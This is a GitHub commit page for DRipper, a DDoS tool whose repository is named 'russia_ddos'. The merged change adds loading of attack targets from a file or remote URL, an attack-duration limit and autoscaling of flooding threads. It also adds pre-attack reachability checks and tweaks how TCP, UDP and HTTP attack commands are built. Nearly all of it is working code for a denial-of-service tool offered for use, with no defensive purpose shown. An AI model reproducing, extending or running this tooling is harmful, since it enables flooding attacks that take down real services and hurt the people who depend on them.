Skip to content

Commit

Permalink
Merge pull request #66 from alexmon1989/targets_list
Browse files Browse the repository at this point in the history
Targets list
  • Loading branch information
AlexNDRmac authored Apr 18, 2022
2 parents 8c4ba58 + a0dfee0 commit c668d43
Show file tree
Hide file tree
Showing 8 changed files with 85 additions and 89 deletions.
8 changes: 7 additions & 1 deletion CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,18 +4,24 @@ All notable changes to this project will be documented in this file.
The format based on [Keep a Changelog](https://keepachangelog.com)
and this project adheres to [Semantic Versioning](https://semver.org).

## [Unreleased](https://github.com/alexmon1989/russia_ddos/compare/2.5.0...HEAD)
## [Unreleased](https://github.com/alexmon1989/russia_ddos/compare/2.6.0...HEAD)


## [v2.6.0](https://github.com/alexmon1989/russia_ddos/compare/2.5.0...2.6.0)

### Added
- Attack duration param (in seconds). After this duration script will stop its execution.
- User guide and setup guide
- Threads count autoscaling. `-t` argument (same as `--threads-count`) now supports **auto**. The auto-scaling method is the default.
- Check minimal required python version
- Attack duration controller. `-d` argument (same as `--duration`) set the attack duration in seconds. After this duration script will stop its execution.
- Targets list support. `--targets-list` argument allows you to use list with targets. List with targets can be path to file or hyperlink.

### Changed
- Random bytes optimization (performance improvement)
- Changed CLI arguments for package size management
- Improved speed for new version check
- Improved text messages for better user experience

### Fixed
- Fixed command parameter generator to help users with incorrect command line parameters or errors with parameters
Expand Down
2 changes: 1 addition & 1 deletion _version.py
Original file line number Diff line number Diff line change
@@ -1 +1 @@
__version__ = "2.5.0"
__version__ = "2.6.0"
3 changes: 3 additions & 0 deletions ripper/arg_parser.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,9 @@ def parser_add_options(parser: OptionParser) -> None:
parser.add_option('-s', '--targets',
dest='targets', action='append',
help='Attack target in {scheme}://{hostname}[:{port}][{path}] format. Multiple targets allowed.')
parser.add_option('--targets-list',
dest='targets_list', type='str',
help='File (fs or http/https) with targets in {scheme}://{hostname}[:{port}][{path}] line format.')
parser.add_option('-m', '--method',
dest='attack_method', type='str',
help=f'Attack method: {", ".join(attack_method_labels)}')
Expand Down
40 changes: 27 additions & 13 deletions ripper/context/context.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@
from rich.console import Console

from _version import __version__
from ripper.duration_manager import DurationManager

from ripper.github_updates_checker import Version
from ripper import common
Expand Down Expand Up @@ -70,14 +69,19 @@ def __init__(self, args):
self.current_version = Version(__version__)
attack_method = getattr(args, 'attack_method', None)

self.logger = Console(width=MIN_SCREEN_WIDTH)

self.targets_manager = TargetsManager(_ctx=self)

self.logger.log('Getting your current Public IPv4 address...')
self.myIpInfo = IpInfo(common.get_current_ip())
self.logger.log(f'Your start Public IPv4 is: {self.myIpInfo.ip_masked}')

self.headers_provider = HeadersProvider()
self.sock_manager = SocketManager()
self.proxy_manager = ProxyManager()
self.time_interval_manager = TimeIntervalManager()
self.duration_manager = DurationManager(duration_seconds=getattr(args, 'duration', None))
self.logger = Console(width=MIN_SCREEN_WIDTH)
self.is_health_check = bool(getattr(args, 'health_check', ARGS_DEFAULT_HEALTH_CHECK))
self.dry_run = getattr(args, 'dry_run', False)
self.sock_manager.socket_timeout = self._getattr(args, 'socket_timeout', ARGS_DEFAULT_SOCK_TIMEOUT)
Expand All @@ -101,18 +105,28 @@ def __init__(self, args):
if self.proxy_manager.proxy_list_initial_len:
self.sock_manager.socket_timeout *= 2

if args and getattr(args, 'targets', None):
if args and getattr(args, 'targets_list', None):
targets_file: str = getattr(args, 'targets_list', None)
message = f'Downloading targets from {targets_file}...' if targets_file.startswith('http') else 'Reading targets from file...'
self.logger.log(message)
input_targets = common.read_file_lines(targets_file)
self.logger.log(f'Loaded list with {len(input_targets)} targets')
else:
# args and getattr(args, 'targets', None):
input_targets = getattr(args, 'targets', [])
for target_uri in input_targets:
target = Target(
target_uri=target_uri,
attack_method=attack_method,
# TODO move http_method to target_uri to allow each target have its own method
http_method=getattr(args, 'http_method', ARGS_DEFAULT_HTTP_ATTACK_METHOD).upper(),
min_random_packet_len=getattr(args, 'min_random_packet_len', None),
max_random_packet_len=getattr(args, 'max_random_packet_len', None),
)
self.targets_manager.add_target(target)

for target_uri in input_targets:
if target_uri.__contains__('#'):
continue
target = Target(
target_uri=target_uri,
attack_method=attack_method,
# TODO move http_method to target_uri to allow each target have its own method
http_method=getattr(args, 'http_method', ARGS_DEFAULT_HTTP_ATTACK_METHOD).upper(),
min_random_packet_len=getattr(args, 'min_random_packet_len', None),
max_random_packet_len=getattr(args, 'max_random_packet_len', None),
)
self.targets_manager.add_target(target)

arg_threads_count = getattr(args, 'threads_count', ARGS_DEFAULT_THREADS_COUNT)
if arg_threads_count == 'auto':
Expand Down
42 changes: 9 additions & 33 deletions ripper/github_updates_checker.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
import os
import json
import re
import urllib.request
import threading

Expand Down Expand Up @@ -53,41 +52,18 @@ def __init__(self, owner: str = GITHUB_OWNER, repo: str = GITHUB_REPO):
self._repo = repo

def get_request_url(self):
return f'https://api.github.com/repos/{self._owner}/{self._repo}/git/refs/tags'
return f'https://raw.githubusercontent.com/{self._owner}/{self._repo}/main/_version.py'

def fetch_tags_data(self):
url = self.get_request_url()
def fetch_latest_version(self) -> Version:
try:
request = urllib.request.Request(url=url, headers=self._get_headers())
raw = urllib.request.urlopen(request).read().decode('utf8')
data = json.loads(raw)
request = urllib.request.Request(url=self.get_request_url())
raw: str = urllib.request.urlopen(request).read().decode('utf8')
ver = re.search(r"(\d+\.\d+\.\d+)", raw).group(0)
self.latest_version = Version(ver)
except:
data = []
return data

def _get_headers(self):
if os.getenv("GITHUB_TOKEN", False):
return {'Authorization': f'Bearer {os.getenv("GITHUB_TOKEN")}'}
else:
return {}

def _ref_to_tag_name(self, ref: str):
return ''.join(ref.split('/')[2:])

def fetch_tag_names(self) -> list[str]:
tags_data = self.fetch_tags_data()
return [self._ref_to_tag_name(data['ref']) for data in tags_data]

def fetch_versions(self) -> list[Version]:
tag_names = self.fetch_tag_names()
return [Version(vs) for vs in filter(lambda tag_name: Version.validate(tag_name), tag_names)]

def fetch_lastest_version(self) -> Version:
versions = self.fetch_versions()
if not versions or len(versions) < 1:
return None
self.latest_version = versions[-1]

return self.latest_version

def demon_update_latest_version(self):
threading.Thread(target=self.fetch_lastest_version).start()
threading.Thread(target=self.fetch_latest_version).start()
46 changes: 29 additions & 17 deletions ripper/services.py
Original file line number Diff line number Diff line change
Expand Up @@ -127,7 +127,7 @@ def connect_host(target: Target, _ctx: Context, proxy: Proxy = None):
udp_socket.sendto(send_bytes, target.hostip_port_tuple())
udp_socket.recvfrom(100)
else:
raise e
raise e
finally:
target.stats.connect.set_state_is_connected()

Expand Down Expand Up @@ -165,8 +165,8 @@ def generate_valid_commands(uri):
tcp_uri += f' -s tcp:{hostname[1]}{port}'
http_uri += f' -s http:{hostname[1]}{port}'

tcp_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} -r {ARGS_DEFAULT_RND_PACKET_LEN} -l {ARGS_DEFAULT_MAX_RND_PACKET_LEN}{tcp_uri}'
udp_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} -r {ARGS_DEFAULT_RND_PACKET_LEN} -l {ARGS_DEFAULT_MAX_RND_PACKET_LEN}{udp_uri}'
tcp_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} {tcp_uri}'
udp_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} {udp_uri}'
http_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} -e {ARGS_DEFAULT_HTTP_ATTACK_METHOD}{http_uri}'

res = ''
Expand All @@ -189,15 +189,17 @@ def generate_valid_commands(uri):

def validate_input(args) -> bool:
"""Validates input params."""
for target_uri in args.targets:
if not Target.validate_format(target_uri):
common.print_panel(
f'Wrong target format in [yellow]{target_uri}[/]. Check param -s (--targets) {args.targets}\n'
f'Target should be in next format: ' + '{scheme}://{hostname}[:{port}][{path}]\n\n' +
f'Possible target format may be:\n'
f'[yellow]tcp://{target_uri}, udp://{target_uri}, http://{target_uri}, https://{target_uri}[/]'
)
return False
# Do not validate targets if reads targets from file or remote location
if args.targets_list is None:
for target_uri in args.targets:
if not Target.validate_format(target_uri):
common.print_panel(
f'Wrong target format in [yellow]{target_uri}[/]. Check param -s (--targets) {args.targets}\n'
f'Target should be in next format: ' + '{scheme}://{hostname}[:{port}][{path}]\n\n' +
f'Possible target format may be:\n'
f'[yellow]tcp://{target_uri}, udp://{target_uri}, http://{target_uri}, https://{target_uri}[/]'
)
return False

if args.threads_count != 'auto' and (not str(args.threads_count).isdigit() or int(args.threads_count) < 1):
common.print_panel(f'Wrong threads count. Check param [yellow]-t (--threads) {args.threads_count}[/]')
Expand Down Expand Up @@ -230,14 +232,14 @@ def validate_input(args) -> bool:

def render_statistics(_ctx: Context) -> None:
"""Show DRipper runtime statistics."""
console = Console()
console = Console(width=MIN_SCREEN_WIDTH)

update_available = ''
if _ctx.latest_version is not None and _ctx.current_version < _ctx.latest_version:
update_available = f'\n[u green reverse link={GITHUB_URL}/releases] Newer version {_ctx.latest_version.version} is available! [/]'

logo = Panel(LOGO_COLOR + update_available, box=box.SIMPLE, width=MIN_SCREEN_WIDTH)
console.print(logo, justify='center', width=MIN_SCREEN_WIDTH)
logo = Panel(LOGO_COLOR + update_available, box=box.SIMPLE)
console.print(logo, justify='center')

with Live(_ctx.stats.build_stats(), vertical_overflow='visible', refresh_per_second=2) as live:
live.start()
Expand All @@ -251,6 +253,9 @@ def render_statistics(_ctx: Context) -> None:

def main():
"""The main function to run the script from the command line."""
console = Console(width=MIN_SCREEN_WIDTH)
console.rule(f'[bold]Starting DRipper {VERSION}')

args = arg_parser.create_parser().parse_args()

if len(sys.argv) < 2 or not validate_input(args[0]):
Expand All @@ -264,17 +269,24 @@ def main():
_ctx = Context(args[0])
go_home(_ctx)

_ctx.logger.log('Check for DRipper Updates...')
guc = GithubUpdatesChecker()
_ctx.latest_version = guc.fetch_lastest_version()
_ctx.latest_version = guc.fetch_latest_version()
_ctx.logger.log(f'Latest version is: {_ctx.latest_version.version}')

_ctx.logger.rule('[bold]Starting DRipper')
_ctx.logger.rule('[bold]Check connection with targets')
for target in _ctx.targets_manager.targets[:]:
# Proxies should be validated during the runtime
retry_cnt = 1 if _ctx.proxy_manager.proxy_list_initial_len > 0 or target.attack_method == 'udp' else 3
# TODO Make it concurrent for each target
if not connect_host_loop(_ctx=_ctx, target=target, retry_cnt=retry_cnt):
_ctx.targets_manager.delete_target(target)
_ctx.logger.rule()

if len(_ctx.targets_manager.targets) == 0:
_ctx.logger.log('All targets looks dead. Unable to connect to targets.\nPlease select another targets to run DRipper')
exit(1)

_ctx.validate()

# Start Threads
Expand Down
16 changes: 8 additions & 8 deletions ripper/targets_manager.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ class TargetsManagerPacketsStats:
total_sent_bytes: int = 0
avg_sent_per_second: int = 0
avg_sent_bytes_per_second: int = 0

def __init__(self, targets: list[Target]) -> None:
duration_seconds = None
for target in targets:
Expand All @@ -33,7 +33,7 @@ def __init__(self, targets: list[Target]) -> None:
if duration_seconds:
self.avg_sent_per_second = self.total_sent / duration_seconds
self.avg_sent_bytes_per_second = self.total_sent / duration_seconds

def __ge__(self, other: 'TargetsManagerPacketsStats'):
return self.avg_sent_per_second > other.avg_sent_per_second \
and self.avg_sent_bytes_per_second > other.avg_sent_bytes_per_second
Expand All @@ -59,7 +59,7 @@ def __init__(self, targets_manager: 'TargetsManager', interval_delay_seconds: in
self._targets_manager = targets_manager
self._interval_delay_seconds = interval_delay_seconds
self._stop_event = Event()

def scale_up(self):
threads_count = self._targets_manager.threads_count
new_threads_count = threads_count + self._targets_manager.targets_count()
Expand All @@ -72,15 +72,15 @@ def __runner__(self):
time.sleep(self._interval_delay_seconds)
current_packet_stats = TargetsManagerPacketsStats(targets=self._targets_manager.targets)
if self._packet_stats:
if self._packet_stats < current_packet_stats and cpu_percent() < MAX_AUTOSCALE_CPU_PERCENTAGE:
if self._packet_stats < current_packet_stats and cpu_percent(5) < MAX_AUTOSCALE_CPU_PERCENTAGE:
self._failed_tests_cnt = 0
self.scale_up()
else:
self._failed_tests_cnt += 1
if self._failed_tests_cnt >= MAX_FAILED_FAILED_AUTOSCALE_TESTS:
self.stop()
self._packet_stats = current_packet_stats

def start(self):
events_journal.info(f'Start automatic threads distribution')
Thread(target=self.__runner__).start()
Expand Down Expand Up @@ -116,15 +116,15 @@ def free_threads_count(self):
@property
def targets(self):
return self._targets[:]

@property
def threads_count(self):
return self._threads_count

@property
def threads_distribution(self):
return self._threads_distribution

def set_threads_count(self, threads_count: int):
# We can't have fewer threads than targets
self._threads_count = max(threads_count, len(self._targets))
Expand Down
17 changes: 1 addition & 16 deletions tests/test_github_updates_checker.py
Original file line number Diff line number Diff line change
@@ -1,28 +1,13 @@
import os

import pytest
import time

from ripper.github_updates_checker import GithubUpdatesChecker, Version


@pytest.mark.skipif(os.getenv('CI') == 'true', reason='May freeze CI test...')
class DescribeGithubUpdatesChecker:
def it_can_read_tag_names(self):
guc = GithubUpdatesChecker()
tag_names = guc.fetch_tag_names()
assert len(tag_names) > 0
assert isinstance(tag_names[0], str)

def it_can_read_versions(self):
guc = GithubUpdatesChecker()
versions = guc.fetch_versions()
assert len(versions) > 0
assert Version('1.0.0') <= versions[-1]

def it_can_read_latest_version(self):
guc = GithubUpdatesChecker()
latest_version = guc.fetch_lastest_version()
latest_version = guc.fetch_latest_version()
assert Version('1.0.0') <= latest_version

def it_can_get_str_version(self):
Expand Down

0 comments on commit c668d43

Please sign in to comment.